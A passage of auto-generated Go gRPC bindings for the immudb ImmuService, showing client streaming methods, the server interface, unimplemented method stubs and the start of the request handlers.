&ImmuService_ServiceDesc.Streams[9], \"/immudb.schema.ImmuService/exportTx\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceExportTxClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_ExportTxClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceExportTxClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceExportTxClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[10], \"/immudb.schema.ImmuService/replicateTx\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceReplicateTxClient{stream}\n\treturn x, nil\n}\n\ntype ImmuService_ReplicateTxClient interface {\n\tSend(*Chunk) error\n\tCloseAndRecv() (*TxHeader, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceReplicateTxClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceReplicateTxClient) Send(m *Chunk) error {\n\treturn x.ClientStream.SendMsg(m)\n}\n\nfunc (x *immuServiceReplicateTxClient) CloseAndRecv() (*TxHeader, error) {\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\tm := new(TxHeader)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[11], \"/immudb.schema.ImmuService/streamExportTx\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamExportTxClient{stream}\n\treturn x, nil\n}\n\ntype ImmuService_StreamExportTxClient interface {\n\tSend(*ExportTxRequest) error\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamExportTxClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamExportTxClient) Send(m *ExportTxRequest) error {\n\treturn x.ClientStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamExportTxClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) {\n\tout := new(SQLExecResult)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/SQLExec\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) UnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) {\n\tout := new(SQLQueryResult)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UnarySQLQuery\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[12], \"/immudb.schema.ImmuService/SQLQuery\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceSQLQueryClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_SQLQueryClient interface {\n\tRecv() (*SQLQueryResult, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceSQLQueryClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceSQLQueryClient) Recv() (*SQLQueryResult, error) {\n\tm := new(SQLQueryResult)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) {\n\tout := new(SQLQueryResult)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ListTables\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) {\n\tout := new(SQLQueryResult)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/DescribeTable\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableSQLGet(ctx context.Context, in *VerifiableSQLGetRequest, opts ...grpc.CallOption) (*VerifiableSQLEntry, error) {\n\tout := new(VerifiableSQLEntry)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableSQLGet\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) TruncateDatabase(ctx context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error) {\n\tout := new(TruncateDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/TruncateDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// ImmuServiceServer is the server API for ImmuService service.\n// All implementations should embed UnimplementedImmuServiceServer\n// for forward compatibility\ntype ImmuServiceServer interface {\n\tListUsers(context.Context, *emptypb.Empty) (*UserList, error)\n\tCreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error)\n\tChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error)\n\tChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error)\n\tChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error)\n\tSetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\tUpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\tUpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error)\n\tOpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error)\n\tCloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error)\n\tKeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error)\n\tNewTx(context.Context, *NewTxRequest) (*NewTxResponse, error)\n\tCommit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error)\n\tRollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error)\n\tTxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error)\n\tTxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error\n\t// Deprecated: Do not use.\n\tLogin(context.Context, *LoginRequest) (*LoginResponse, error)\n\t// Deprecated: Do not use.\n\tLogout(context.Context, *emptypb.Empty) (*emptypb.Empty, error)\n\tSet(context.Context, *SetRequest) (*TxHeader, error)\n\tVerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error)\n\tGet(context.Context, *KeyRequest) (*Entry, error)\n\tVerifiableGet(context.Context, *VerifiableGetRequest) (*VerifiableEntry, error)\n\tDelete(context.Context, *DeleteKeysRequest) (*TxHeader, error)\n\tGetAll(context.Context, *KeyListRequest) (*Entries, error)\n\tExecAll(context.Context, *ExecAllRequest) (*TxHeader, error)\n\tScan(context.Context, *ScanRequest) (*Entries, error)\n\t// NOT YET SUPPORTED\n\tCount(context.Context, *KeyPrefix) (*EntryCount, error)\n\t// NOT YET SUPPORTED\n\tCountAll(context.Context, *emptypb.Empty) (*EntryCount, error)\n\tTxById(context.Context, *TxRequest) (*Tx, error)\n\tVerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error)\n\tTxScan(context.Context, *TxScanRequest) (*TxList, error)\n\tHistory(context.Context, *HistoryRequest) (*Entries, error)\n\t// ServerInfo returns information about the server instance.\n\t// ServerInfoRequest is defined for future extensions.\n\tServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error)\n\t// DEPRECATED: Use ServerInfo\n\tHealth(context.Context, *emptypb.Empty) (*HealthResponse, error)\n\tDatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error)\n\tCurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error)\n\tSetReference(context.Context, *ReferenceRequest) (*TxHeader, error)\n\tVerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error)\n\tZAdd(context.Context, *ZAddRequest) (*TxHeader, error)\n\tVerifiableZAdd(context.Context, *VerifiableZAddRequest) (*VerifiableTx, error)\n\tZScan(context.Context, *ZScanRequest) (*ZEntries, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use CreateDatabaseV2\n\tCreateDatabase(context.Context, *Database) (*emptypb.Empty, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use CreateDatabaseV2\n\tCreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error)\n\tCreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error)\n\tLoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error)\n\tUnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error)\n\tDeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use DatabaseListV2\n\tDatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error)\n\tDatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error)\n\tUseDatabase(context.Context, *Database) (*UseDatabaseReply, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use UpdateDatabaseV2\n\tUpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error)\n\tUpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error)\n\t// Deprecated: Do not use.\n\t// DEPRECATED: Use GetDatabaseSettingsV2\n\tGetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error)\n\tGetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error)\n\tFlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error)\n\tCompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error)\n\t// Streams\n\tStreamGet(*KeyRequest, ImmuService_StreamGetServer) error\n\tStreamSet(ImmuService_StreamSetServer) error\n\tStreamVerifiableGet(*VerifiableGetRequest, ImmuService_StreamVerifiableGetServer) error\n\tStreamVerifiableSet(ImmuService_StreamVerifiableSetServer) error\n\tStreamScan(*ScanRequest, ImmuService_StreamScanServer) error\n\tStreamZScan(*ZScanRequest, ImmuService_StreamZScanServer) error\n\tStreamHistory(*HistoryRequest, ImmuService_StreamHistoryServer) error\n\tStreamExecAll(ImmuService_StreamExecAllServer) error\n\t// Replication\n\tExportTx(*ExportTxRequest, ImmuService_ExportTxServer) error\n\tReplicateTx(ImmuService_ReplicateTxServer) error\n\tStreamExportTx(ImmuService_StreamExportTxServer) error\n\tSQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error)\n\t// For backward compatibility with the grpc-gateway API\n\tUnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error)\n\tSQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error\n\tListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error)\n\tDescribeTable(context.Context, *Table) (*SQLQueryResult, error)\n\tVerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error)\n\tTruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error)\n}\n\n// UnimplementedImmuServiceServer should be embedded to have forward compatible implementations.\ntype UnimplementedImmuServiceServer struct {\n}\n\nfunc (UnimplementedImmuServiceServer) ListUsers(context.Context, *emptypb.Empty) (*UserList, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ListUsers not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CreateUser(context.Context, *CreateUserRequest) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateUser not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ChangePassword(context.Context, *ChangePasswordRequest) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ChangePassword not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ChangePermission(context.Context, *ChangePermissionRequest) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ChangePermission not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ChangeSQLPrivileges(context.Context, *ChangeSQLPrivilegesRequest) (*ChangeSQLPrivilegesResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ChangeSQLPrivileges not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) SetActiveUser(context.Context, *SetActiveUserRequest) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method SetActiveUser not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UpdateAuthConfig(context.Context, *AuthConfig) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UpdateAuthConfig not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UpdateMTLSConfig(context.Context, *MTLSConfig) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UpdateMTLSConfig not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method OpenSession not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CloseSession(context.Context, *emptypb.Empty) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CloseSession not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) KeepAlive(context.Context, *emptypb.Empty) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method KeepAlive not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) NewTx(context.Context, *NewTxRequest) (*NewTxResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method NewTx not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Commit(context.Context, *emptypb.Empty) (*CommittedSQLTx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Commit not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Rollback not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method TxSQLExec not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) TxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method TxSQLQuery not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Login not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Logout(context.Context, *emptypb.Empty) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Logout not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Set(context.Context, *SetRequest) (*TxHeader, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Set not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableSet(context.Context, *VerifiableSetRequest) (*VerifiableTx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableSet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Get(context.Context, *KeyRequest) (*Entry, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Get not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableGet(context.Context, *VerifiableGetRequest) (*VerifiableEntry, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableGet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Delete(context.Context, *DeleteKeysRequest) (*TxHeader, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Delete not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) GetAll(context.Context, *KeyListRequest) (*Entries, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method GetAll not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ExecAll(context.Context, *ExecAllRequest) (*TxHeader, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ExecAll not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Scan(context.Context, *ScanRequest) (*Entries, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Scan not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Count(context.Context, *KeyPrefix) (*EntryCount, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Count not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CountAll not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) TxById(context.Context, *TxRequest) (*Tx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method TxById not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableTxById(context.Context, *VerifiableTxRequest) (*VerifiableTx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableTxById not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) TxScan(context.Context, *TxScanRequest) (*TxList, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method TxScan not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) History(context.Context, *HistoryRequest) (*Entries, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method History not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ServerInfo not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) Health(context.Context, *emptypb.Empty) (*HealthResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method Health not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DatabaseHealth not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CurrentState not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method SetReference not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableSetReference(context.Context, *VerifiableReferenceRequest) (*VerifiableTx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableSetReference not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ZAdd(context.Context, *ZAddRequest) (*TxHeader, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ZAdd not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableZAdd(context.Context, *VerifiableZAddRequest) (*VerifiableTx, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableZAdd not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ZScan not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateDatabaseWith not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CreateDatabaseV2 not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) LoadDatabase(context.Context, *LoadDatabaseRequest) (*LoadDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method LoadDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UnloadDatabase(context.Context, *UnloadDatabaseRequest) (*UnloadDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UnloadDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DeleteDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DatabaseList not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DatabaseListV2 not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UseDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UpdateDatabase not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UpdateDatabaseV2 not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method GetDatabaseSettings not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method GetDatabaseSettingsV2 not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method FlushIndex not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method CompactIndex not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamGet(*KeyRequest, ImmuService_StreamGetServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamGet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamSet(ImmuService_StreamSetServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamSet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamVerifiableGet(*VerifiableGetRequest, ImmuService_StreamVerifiableGetServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamVerifiableGet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamVerifiableSet(ImmuService_StreamVerifiableSetServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamVerifiableSet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamScan(*ScanRequest, ImmuService_StreamScanServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamScan not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamZScan(*ZScanRequest, ImmuService_StreamZScanServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamZScan not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamHistory(*HistoryRequest, ImmuService_StreamHistoryServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamHistory not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamExecAll(ImmuService_StreamExecAllServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamExecAll not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ExportTx(*ExportTxRequest, ImmuService_ExportTxServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method ExportTx not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ReplicateTx(ImmuService_ReplicateTxServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method ReplicateTx not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) StreamExportTx(ImmuService_StreamExportTxServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method StreamExportTx not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method SQLExec not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) UnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method UnarySQLQuery not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error {\n\treturn status.Errorf(codes.Unimplemented, \"method SQLQuery not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method ListTables not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method DescribeTable not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method VerifiableSQLGet not implemented\")\n}\nfunc (UnimplementedImmuServiceServer) TruncateDatabase(context.Context, *TruncateDatabaseRequest) (*TruncateDatabaseResponse, error) {\n\treturn nil, status.Errorf(codes.Unimplemented, \"method TruncateDatabase not implemented\")\n}\n\n// UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service.\n// Use of this interface is not recommended, as added methods to ImmuServiceServer will\n// result in compilation errors.\ntype UnsafeImmuServiceServer interface {\n\tmustEmbedUnimplementedImmuServiceServer()\n}\n\nfunc RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) {\n\ts.RegisterService(&ImmuService_ServiceDesc, srv)\n}\n\nfunc _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ListUsers(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ListUsers\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ListUsers(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CreateUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CreateUserRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CreateUser(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CreateUser\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CreateUser(ctx, req.(*CreateUserRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ChangePassword_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ChangePasswordRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ChangePassword(ctx, in)\n\t}\n\tinfo := 